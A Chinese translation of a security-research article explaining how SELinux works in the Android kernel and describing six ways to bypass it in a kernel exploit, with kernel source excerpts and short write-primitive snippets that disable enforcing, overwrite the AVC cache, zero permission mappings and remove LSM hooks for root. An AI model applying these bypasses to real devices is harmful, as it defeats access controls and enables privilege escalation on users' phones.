这篇文章旨在从 Android 内核利用的角度概述 SELinux 是什么、如何实现以及如何绕过它。
测试在三台设备上进行:三星 Galaxy A34、华为 Mate 20 Pro 和小米 Redmi Note 12。我们将主要关注前两台设备,因为它们有一个虚拟机管理程序,这将使特权提升和绕过 SELinux 变得更加困难。
显示的代码来自 Linux 内核 5.15,在某些情况下包含旧版本的相关注释。
什么是 SELinux
SELinux(安全增强型 Linux)是一个 Linux 内核安全模块,它实现了强制访问控制(MAC) 机制来执行给定的安全策略。让我们一步一步来分解它。
Linux 安全模块
Linux 安全模块(LSM)是一个允许定义实现安全检查的模块的框架。它主要提供两件事:
-
它会将安全字段插入到一些关键的内核数据结构中。此字段是一个void*由模块管理的不透明指针。具有此字段的一些结构包括struct task_struct、struct cred、struct inode、struct file等。
-
它在内核代码的关键点插入对钩子的调用,以便模块管理安全字段并执行访问控制。SELinux 钩子在此处定义。
-
例如,__alloc_file()负责分配的函数struct file,调用,它首先在此处security_file_alloc()分配f_security字段,然后调用钩子来初始化它(例如)。file_alloc_securityselinux_file_alloc_security()
-
另一个示例:open系统调用最终调用了,而 又在此处do_dentry_open()调用。此函数调用钩子,钩子应该使用先前初始化的字段来执行权限检查(例如)。如果检查失败,系统调用将返回。security_file_open() file_openf_securityselinux_file_open()open-EACCES
-
请注意,可能有多个模块,每个模块都提供自己的钩子函数。模块security_add_hooks()在初始化时调用(例如 from selinux_init())将自己的钩子添加到全局security_hook_heads,其中包含每种钩子类型的函数列表。宏call_void_hook()和call_int_hook()用于调用钩子,它们迭代与钩子相对应的列表并调用每个函数。
强制访问控制
Linux 中常用的权限系统是自主访问控制(DAC),其中权限完全依赖于每个进程的用户/组,并根据每个文件的用户、组和其他权限进行检查。此外,还有 root 用户,该用户有权限执行所有操作。
相比之下,SELinux 实现了强制访问控制(MAC),这是一种更细粒度的权限系统,在对文件、套接字、inode、binder 对象等执行任何敏感操作时,它会根据预定义的策略检查权限。这允许为每个进程仅提供其工作所需的最低权限级别。这也意味着 root 访问权限不能再做所有事情,因为它已绑定到它正在使用的SELinux 上下文。
SELinux 政策
一些概念:
-
SELinux 为每个对象(文件、进程、套接字等)分配一个类型。例如,默认情况下,应用程序的类型为untrusted_app。对于进程,其类型也称为其域。
-
可以为类型分配属性,从而可以引用所有具有属性的类型。
-
对象也被映射到类,这表明它们是文件、进程、目录等。
SELinux 上下文或标签的格式为user:role:type:sensitivity[:categories],其中类型是最重要的部分。从 运行时id,adb shell它将显示我们的上下文为u:r:shell:s0。但是,从应用程序执行此操作时,它将显示类似 的内容u:r:untrusted_app:s0:c15,c256,c513,c768。这决定了我们的权限。文件也有一个与之关联的标签,如果我们将选项添加-Z到 ,则可以打印它们ls:
$ ls -lZ /dev/mali0
crw-rw-rw- 1 system system u:object_r:gpu_device:s0 10, 114 2024-09-19 19:50 /dev/mali0
SELinux 钩子函数根据策略检查请求的权限。此策略定义每个进程可以访问哪些资源。它由规则组成,规则的形式为:allow source target:class permissions;,其中源和目标是类型或属性。以下是来自真实设备的规则示例:
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read write };
此规则规定,具有域untrusted_app(这是 Android 应用的默认设置)的进程可以打开、读取、写入、映射和对 类型的文件执行 ioctl gpu_device,例如/dev/mali0上面的文件,它是用于与 Mali GPU 驱动程序交互的字符设备。请注意,默认情况下,除非有规则允许,否则所有内容都会被拒绝。
Android SELinux 策略在存储库中定义system/sepolicy并编译为二进制文件,该文件可在设备中通过 访问/sys/fs/selinux/policy。可以从主机轻松检查该策略文件。例如,要列出可从不受信任的应用上下文访问的所有内容:
$ adb pull /sys/fs/selinux/policy policy
/sys/fs/selinux/policy: 1 file pulled, 0 skipped. 23.0 MB/s (1033355 bytes in 0.043s)
$ sesearch ./policy --allow -s untrusted_app
...
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read write };
...
拒绝示例
以下是尝试执行某些我们没有权限的操作时记录到 logcat 的示例。在本例中,我的漏洞利用已成功将我的进程凭据替换为init_cred,我已准备好放弃 root shell。但是,尽管我是具有所有功能的 root 用户,但我却无权执行。正如日志消息所示,具有类型上下文(分配给的上下文)/system/bin/sh的进程无权执行具有类型上下文的文件。kernelinit_credshell_exec
12487 12487 W /data/local/tmp/exploit: type=1400 audit(0.0:1975): avc: denied { execute } for comm=exploit name="sh" dev="dm-8" ino=9289095 scontext=u:r:kernel:s0 tcontext=u:object_r:shell_exec:s0 tclass=file permissive=0
因此,需要绕过 SELinux 才能获得对设备的不受限制的根访问权限。
实现概述
SELinux 权限检查在 中完成avc_has_perm_noaudit()。每个权限检查钩子最终都会使用指向全局的指针selinux_state作为第一个参数来调用此函数。此函数检查是否requested授予对ssid类型tsid和类的对象进行操作的类型对象的权限tclass,并将结果存储在 中avd。让我们看看它是如何实现的。
inline int avc_has_perm_noaudit(struct selinux_state *state,
u32 ssid, u32 tsid,
u16 tclass, u32 requested,
unsigned int flags,
struct av_decision *avd)
{
struct avc_node *node;
struct avc_xperms_node xp_node;
int rc = 0;
u32 denied;
if (WARN_ON(!requested))
return -EACCES;
rcu_read_lock();
node = avc_lookup(state->avc, ssid, tsid, tclass);
if (unlikely(!node))
node = avc_compute_av(state, ssid, tsid, tclass, avd, &xp_node);
else
memcpy(avd, &node->ae.avd, sizeof(*avd));
denied = requested & ~(avd->allowed);
if (unlikely(denied))
rc = avc_denied(state, ssid, tsid, tclass, requested, 0, 0,
flags, avd);
rcu_read_unlock();
return rc;
}
static noinline
struct avc_node *avc_compute_av(struct selinux_state *state,
u32 ssid, u32 tsid,
u16 tclass, struct av_decision *avd,
struct avc_xperms_node *xp_node)
{
rcu_read_unlock();
INIT_LIST_HEAD(&xp_node->xpd_head);
security_compute_av(state, ssid, tsid, tclass, avd, &xp_node->xp);
rcu_read_lock();
return avc_insert(state->avc, ssid, tsid, tclass, avd, xp_node);
}
首先,它调用avc_lookup()来检查该权限检查是否之前已计算过且在缓存中。如果没有,它调用avc_compute_av(),使用 计算权限检查security_compute_av(),然后使用 将其插入缓存中avc_insert()。最后,如果权限请求被拒绝,它返回 的结果avc_denied(),该结果可以是 0(授予)或-EACCES(拒绝)。
绕过
让我们从漏洞开发的角度来探索不同的绕过方法,假设存在任意写入内存原语。其中包含一些关于每种绕过方法在我的设备上有效或无效的原因的说明。
上面的代码展示了攻击 SELinux 的三种不同方法:我们可以攻击缓存(avc_lookup()),我们可以攻击权限计算(security_compute_av()),或者我们可以攻击avc_denied(),即使权限检查被拒绝,这也可能允许该操作。
绕过方法 1:禁用 SELinux
avc_denied()如果我们检查在权限检查失败时调用的代码,我们可以看到-EACCES如果state->enforcing为假它仍然可以返回 0 而不是。
static noinline int avc_denied(struct selinux_state *state,
u32 ssid, u32 tsid,
u16 tclass, u32 requested,
u8 driver, u8 xperm, unsigned int flags,
struct av_decision *avd)
{
if (flags & AVC_STRICT)
return -EACCES;
if (enforcing_enabled(state) &&
!(avd->flags & AVD_FLAGS_PERMISSIVE))
return -EACCES;
avc_update_node(state->avc, AVC_CALLBACK_GRANT, requested, driver,
xperm, ssid, tsid, tclass, avd->seqno, NULL, flags);
return 0;
}
static inline bool enforcing_enabled(struct selinux_state *state)
{
return READ_ONCE(state->enforcing);
}
因此,绕过 SELinux 的最简单方法是将其设置state->enforcing为 false。这会将 SELinux 设置为宽容状态,在该状态下,权限拒绝会被记录但不会强制执行。
在Linux 5.15中,的定义struct selinux_state如下:
struct selinux_state {
#ifdef CONFIG_SECURITY_SELINUX_DISABLE
bool disabled;
#endif
#ifdef CONFIG_SECURITY_SELINUX_DEVELOP
bool enforcing;
#endif
bool checkreqprot;
bool initialized;
bool policycap[__POLICYDB_CAPABILITY_MAX];
struct page *status_page;
struct mutex status_lock;
struct selinux_avc *avc;
struct selinux_policy __rcu *policy;
struct mutex policy_mutex;
} __randomize_layout;
CONFIG_SECURITY_SELINUX_DISABLE在 时通常不启用CONFIG_SECURITY_SELINUX_DEVELOP,因此enforcing偏移量为 0。因此,此绕过将是:
kwrite8(selinux_state_addr, 0);
在较新的 Linux 版本 (6.6) 中,disabled中的字段selinux_state已被完全删除。而在较旧的版本 (4.19、5.4) 中,该disabled字段始终存在,因此该enforcing字段的偏移量为 1。在更旧的版本 (4.14) 中,没有selinux_state,其enforcing字段对应于全局selinux_enforcing。
int selinux_enforcing __kdp_ro_aligned;
而我的华为设备没有定义CONFIG_SECURITY_SELINUX_DEVELOP,因此定义selinux_enforcing为1。
#ifdef CONFIG_SECURITY_SELINUX_DEVELOP
extern int selinux_enforcing;
#else
#define selinux_enforcing 1
#endif
绕过方法2:覆盖许可映射
如果我们看一下avc_denied()之前显示的代码,如果 ,它也返回 0。avd->flags & AVD_FLAGS_PERMISSIVE这avd填充在 中,并且如果设置了与源类型相对应的security_compute_av()位,则会添加该标志:policydb->permissive_map
void security_compute_av([...], struct av_decision *avd, [...]) {
[...]
/* permissive domain? */
if (ebitmap_get_bit(&policydb->permissive_map, scontext->type))
avd->flags |= AVD_FLAGS_PERMISSIVE;
[...]
}
因此,如果我们覆盖它permissive_map并设置所有位,其效果将类似于将 SELinux 设置为宽容模式。
然而,三星和华为的设备在这种方法上存在一些问题:
-
在我的三星设备上,AVD_FLAGS_PERMISSIVE定义为 0,因此被忽略。
-
在我的华为设备上,permissive_map是从selinux_pool分配的,这是一个内存池,在加载安全策略后从虚拟机管理程序变为只读,因此我们无法覆盖它。
绕过方法3:覆盖 AVC 缓存
函数avc_has_perm_noaudit()调用avc_lookup()检查该权限检查是否之前已计算过且在缓存中,最终调用avc_search_node()。如果找到,则返回的节点将指示类型为 的对象对ssid类型为tsid和 类的对象的操作所允许的权限tclass。
static inline struct avc_node *avc_search_node(struct selinux_avc *avc,
u32 ssid, u32 tsid, u16 tclass)
{
struct avc_node *node, *ret = NULL;
int hvalue;
struct hlist_head *head;
hvalue = avc_hash(ssid, tsid, tclass);
head = &avc->avc_cache.slots[hvalue];
hlist_for_each_entry_rcu(node, head, list) {
if (ssid == node->ae.ssid &&
tclass == node->ae.tclass &&
tsid == node->ae.tsid) {
ret = node;
break;
}
}
return ret;
}
可以看出,avc_cache有一个哈希表s。它首先通过将、和一起avc_node哈希来计算槽或桶,然后迭代该槽以寻找精确匹配。从返回的节点中,我们感兴趣的是字段,其位指示允许哪些权限。如果我们迭代 中的每个节点并用 覆盖该字段,则之前缓存的每个权限检查现在都会成功。ssidtsidtclassnode->ae.avd.allowedavc_cache0xFFFFFFFF
struct avc_cache {
struct hlist_head slots[AVC_CACHE_SLOTS]; /* head for avc_node->list */
[...]
};
struct avc_node {
struct avc_entry ae;
struct hlist_node list; /* anchored in avc_cache->slots[i] */
[...]
};
struct avc_entry {
u32 ssid;
u32 tsid;
u16 tclass;
struct av_decision avd;
struct avc_xperms_node *xp_node;};
struct av_decision {
u32 allowed;
u32 auditallow;
u32 auditdeny;
u32 seqno;
u32 flags;
};
因此,绕过方法如下:
#define AVC_CACHE_SLOTS 512
#define AVC_DECISION_ALLOWALL 0xffffffff
void overwrite_avc_cache(uint64_t avc_cache_addr) {
for (size_t i = 0; i < AVC_CACHE_SLOTS; i++) {
uint64_t avc_cache_slot_list = kread64(avc_cache_addr + i*sizeof(uint64_t));
while (avc_cache_slot_list) {
uint64_t avc_decision_addr = avc_cache_slot_list - 0x1c;
kwrite32(avc_decision_addr, AVC_DECISION_ALLOWALL);
avc_cache_slot_list = kread64(avc_cache_slot_list);
}
}
}
嵌入avc_cache在全局内selinux_avc,与 并列avc_cache_threshold。
struct selinux_avc {
unsigned int avc_cache_threshold;
struct avc_cache avc_cache;
};
static struct selinux_avc selinux_avc;
这avc_cache_threshold用于avc_alloc_node()确定是否应该修剪 AVC 缓存。
static struct avc_node *avc_alloc_node(struct selinux_avc *avc)
{
struct avc_node *node;
[...]
if (atomic_inc_return(&avc->avc_cache.active_nodes) >
avc->avc_cache_threshold)
avc_reclaim_node(avc);
out:
return node;
}
如果我们不想让修改后的节点从缓存中删除,我们可以写入0xFFFFFFFF该字段。
在旧版 Linux(4.14)中,AVC 缓存及其阈值被定义为全局变量avc_cache和avc_cache_threshold,而不是嵌入到全局中selinux_avc。
请注意,这只会修改已经计算和缓存的权限检查。因此,我们不能默认允许一切。相反,工作流程将是执行一些我们没有权限的操作,让它失败,覆盖 AVC 缓存,然后再次执行,这次会成功。
chompie1337在此处使用了此绕过方法。她实施了上述工作流程以加载新的 SELinux 策略。因此,她最多只需要覆盖 AVC 缓存两次(toopen和writeon /sys/fs/selinux/load)。之后,注入的 SELinux 策略就会生效,其中可以包含允许任何操作的规则。
这在我的华为设备上不起作用。正如这里所述,SELinux 数据结构是从内存池分配的,该内存池后来变为只读,因此无法加载新策略。AVC 缓存不是从该内存池分配的,因此仍然可以被覆盖。但如果没有其他更一致的机制来禁用 SELinux,这几乎是无用的。我还没有在我的三星设备上测试过策略重新加载。
绕过方法4:SELinux 初始化
让我们检查一下的实现security_compute_av(),该函数负责在缓存中不存在的情况下实际计算权限检查。
void security_compute_av(struct selinux_state *state,
u32 ssid,
u32 tsid,
u16 orig_tclass,
struct av_decision *avd,
struct extended_perms *xperms)
{
[...]
if (!selinux_initialized(state))
goto allow;
[...]
allow:
avd->allowed = 0xffffffff;
goto out;
}
static inline bool selinux_initialized(const struct selinux_state *state)
{
/* do a synchronized load to avoid race conditions */
return smp_load_acquire(&state->initialized);
}
我们可以看到,如果state->initialized没有设置,它将允许每个权限请求。此字段表示 SELinux 是否已初始化并已加载策略。它由 设置的,由 的写入处理程序security_policy_commit()调用。sel_write_load()/sys/fs/selinux/load
如果我们有内存写入原语,我们可以将其设置state->initialized为 false,从而绕过每个 SELinux 权限检查。但是,这会使系统处于不稳定状态,因为该字段在许多其他地方都会被检查,将其设置为 false 会导致许多功能无法正常工作。因此,应尽快恢复。在这里,与之前的绕过类似,他们使用它来加载已设置的新策略state->initialized。
另外,请注意,我们的目标是security_compute_av(),如果在缓存中发现权限检查,则可能不会调用该函数。因此,可能还需要覆盖缓存。
在旧版 Linux(4.14)中,字段state->initialized对应于全局的ss_initialized。
这在我的三星设备上不起作用,因为ss_initialized它受到虚拟机管理程序的保护。
#if (defined CONFIG_KDP_CRED && defined CONFIG_SAMSUNG_PRODUCT_SHIP)
int ss_initialized __kdp_ro_aligned;
#else
int ss_initialized;
#endif
同样,在我的华为设备上,该变量也受到虚拟机管理程序的保护。
#ifdef CONFIG_HKIP_SELINUX_PROT
int ss_initialized __wr;
#else
int ss_initialized;
#endif
绕过方法5:覆盖映射
函数security_compute_av()调用map_decision():
void security_compute_av(struct selinux_state *state,
u32 ssid,
u32 tsid,
u16 orig_tclass,
struct av_decision *avd,
struct extended_perms *xperms)
{
struct selinux_policy *policy;
struct policydb *policydb;
[...]
rcu_read_lock();
policy = rcu_dereference(state->policy);
[...]
policydb = &policy->policydb;
[...]
map_decision(&policy->map, orig_tclass, avd,
policydb->allow_unknown);
out:
rcu_read_unlock();
return;
[...]
}
正如我们在下面的代码中看到的,如果allow_unknown为真且mapping->perms[i]为 0,则它会设置该位avd->allowed,从而允许该权限。
static void map_decision(struct selinux_map *map,
u16 tclass, struct av_decision *avd,
int allow_unknown)
{
if (tclass < map->size) {
struct selinux_mapping *mapping = &map->mapping[tclass];
unsigned int i, n = mapping->num_perms;
u32 result;
for (i = 0, result = 0; i < n; i++) {
if (avd->allowed & mapping->perms[i])
result |= 1<<i;
if (allow_unknown && !mapping->perms[i]) // <--------
result |= 1<<i;
}
avd->allowed = result;
[...]
}
}
policydb->allow_unknown我们可以将其设置为 true 并填充map.mapping[tclass].perms零,从而滥用它来绕过 SELinux 。
在 Linux 内核 5.15 中,selinux_map包含mapping按类索引的动态分配数组及其大小的 位于,&selinux_state.policy->map位于。allow_unknown&selinux_state.policy->policydb.allow_unknown
/* Mapping for a single class */
struct selinux_mapping {
u16 value; /* policy value for class */
unsigned int num_perms; /* number of permissions in class */
u32 perms[sizeof(u32) * 8]; /* policy values for permissions */
};
/* Map for all of the classes, with array size */
struct selinux_map {
struct selinux_mapping *mapping; /* indexed by class */
u16 size; /* array size of mapping */
};
struct selinux_policy {
struct sidtab *sidtab;
struct policydb policydb;
struct selinux_map map;
u32 latest_granting;
} __randomize_layout;
在旧版本(4.19)中,policydb和map都嵌入在全局变量中selinux_ss。在更旧的版本(4.14)中,policydb是一个全局变量,并且map对应于全局变量current_mapping和current_mapping_size。
因此,4.14 的绕过方法如下:
// Set policydb.allow_unknown to true
kwrite8(policydb_addr + OFFSET_ALLOW_UNKNOWN, 2);
// Overwrite mapping so everything is unknown
uint64_t current_mapping_size = kread16(current_mapping_size_addr);
uint64_t current_mapping = kread64(current_mapping_addr);
uint8_t zeroes[FIELD_SIZEOF(struct selinux_mapping, perms)] = {};
for (size_t tclass = 0; tclass < current_mapping_size; tclass++) {
uint64_t mapping = current_mapping + tclass*sizeof(struct selinux_mapping);
kwrite(mapping + offsetof(struct selinux_mapping, perms),
zeroes, sizeof(zeroes));
}
映射仅在加载新策略时才会修改,因此如果我们不重新加载策略,我们只需执行一次此操作。但请注意,与之前的绕过一样,此操作的目标是security_compute_av(),因此可能还需要覆盖 AVC 缓存以删除缓存的拒绝权限请求。
这种绕过方法在Blackhat Asia 2024 的“跨缓存游戏:让我们以更有效的方式取胜!” (幻灯片 88)中进行了展示。
这在我的三星和华为设备上都有效。映射内存在两台设备上均未受到保护。
绕过方法6:移除钩子
在这篇文章中,他们通过删除安全钩子绕过了 SELinux 和三星 RKP(三星虚拟机管理程序)。如前所述, SELinux 钩子被添加到全局security_hook_heads。此结构定义如下:
struct security_hook_heads {
#define LSM_HOOK(RET, DEFAULT, NAME, ...) struct hlist_head NAME;
#include "lsm_hook_defs.h"
#undef LSM_HOOK} __randomize_layout;
LSM_HOOK(int, 0, file_alloc_security, struct file *file)
LSM_HOOK(int, 0, file_open, struct file *file)
[...]
它包括lsm_hook_defs.h,在本例中struct hlist_head为每种类型的钩子定义了一个。
在较旧的 Linux 版本 (4.14) 中,为每种类型的钩子security_hook_heads定义了一个struct list_head而不是一个struct hlist_head。因此每个钩子列表头占用 16 个字节,而不是 8 个字节。
模块调用security_add_hooks()将自己的钩子函数添加到每个列表中。因此,如果我们可以修改全局函数security_hook_heads及其列表,则可能可以删除钩子以绕过 SELinux。
有一个问题:此结构声明为__lsm_ro_after_init,这意味着它在初始化后被标记为只读。常规内存写入原语不起作用。
struct security_hook_heads security_hook_heads __lsm_ro_after_init;
但是,如果没有虚拟机管理程序,则有方法可以写入只读内存。首先,如果我们有物理内存写入原语,我们可以直接写入它,因为它会写入底层物理内存,而忽略虚拟内存保护。否则,如果我们有虚拟内存写入原语,我们可以通过修改内核页表 ( swapper_pg_dir) 来修改该页面的保护,或者将该页面映射到具有读写权限的另一个虚拟地址。
另一方面,如果底层有虚拟机管理程序,则可能无法从内核写入只读内存。这是因为从内核页表获得的物理地址实际上是中间物理地址 (IPA),它可能在虚拟机管理程序的第二阶段页表中以只读形式映射到实际物理地址,如这里和这里所述。
事实是,我成功地在三星和华为设备上进行了写入操作security_hook_heads,它们应该保护只读内存免受虚拟机管理程序的侵害。在我的三星设备上,我相信这是因为它们不保护“初始化后只读”内存,因为它们没有从 调用虚拟机管理程序mark_rodata_ro(),该函数负责将__ro_after_init内存权限更改为只读。在我的华为设备上,他们确实进行了修改mark_rodata_ro(),以执行超级调用,以便在第二阶段页表中将该内存标记为只读,如下所示。但是,我相信我在测试漏洞中使用的内存写入原语绕过了这一点,因为内存访问是从 GPU 而不是从 CPU 执行的。这个问题可能已在更新的设备上得到修补。
即使我们可以写入只读内存,在修改时也必须小心security_hook_heads。清空每个列表并删除每个钩子对我来说不起作用。由于钩子访问了 NULL 字段,它因某些 NULL 点取消引用而崩溃security。但是,我相信通过删除正确的钩子,可以获得稳定的 SELinux 绕过,正如帖子所解释的那样。
请注意,这也可以用于执行权限提升。Syscallsetresuid()使用 检查权限ns_capable_setid(),最终调用security_capable(),后者只是调用钩子capable。因此,如果我们清空列表security_hook_heads.capable,则不会执行这些权限检查,我们只需执行即可setresuid(0, 0, 0)获取 root 权限。chompie1337在此处实现了类似的东西。
理论上,这在我的三星和华为设备上不起作用,因为他们有一些方法可以检测特权提升并中止它们。然而,我的华为设备无法检测到这种特权提升。我相信这是因为,如此处所示,它存储了一个受保护的位图,指示每个进程是否为root。然后,在某些时候,它会调用hkip_check_xid_root()来根据位图检查任务现在是root但之前不是,在这种情况下终止它。但是,该位图是使用 from 更新的hkip_update_xid_root(),commit_creds()它是从系统调用中调用的setresuid()。因此,如果我们设法绕过该系统调用中默认存在的权限检查,就像我们通过覆盖所做的那样security_hook_heads.capable,那么虚拟机管理程序将很乐意更新位图并允许特权提升。同样,这种特权提升方法也适用于我的三星设备,但我没有进一步探究三星 DEFEX 失败的原因。
结论
希望您喜欢这篇文章并学到一些新东西。
原文始发于微信公众号(Ots安全):SELinux 绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论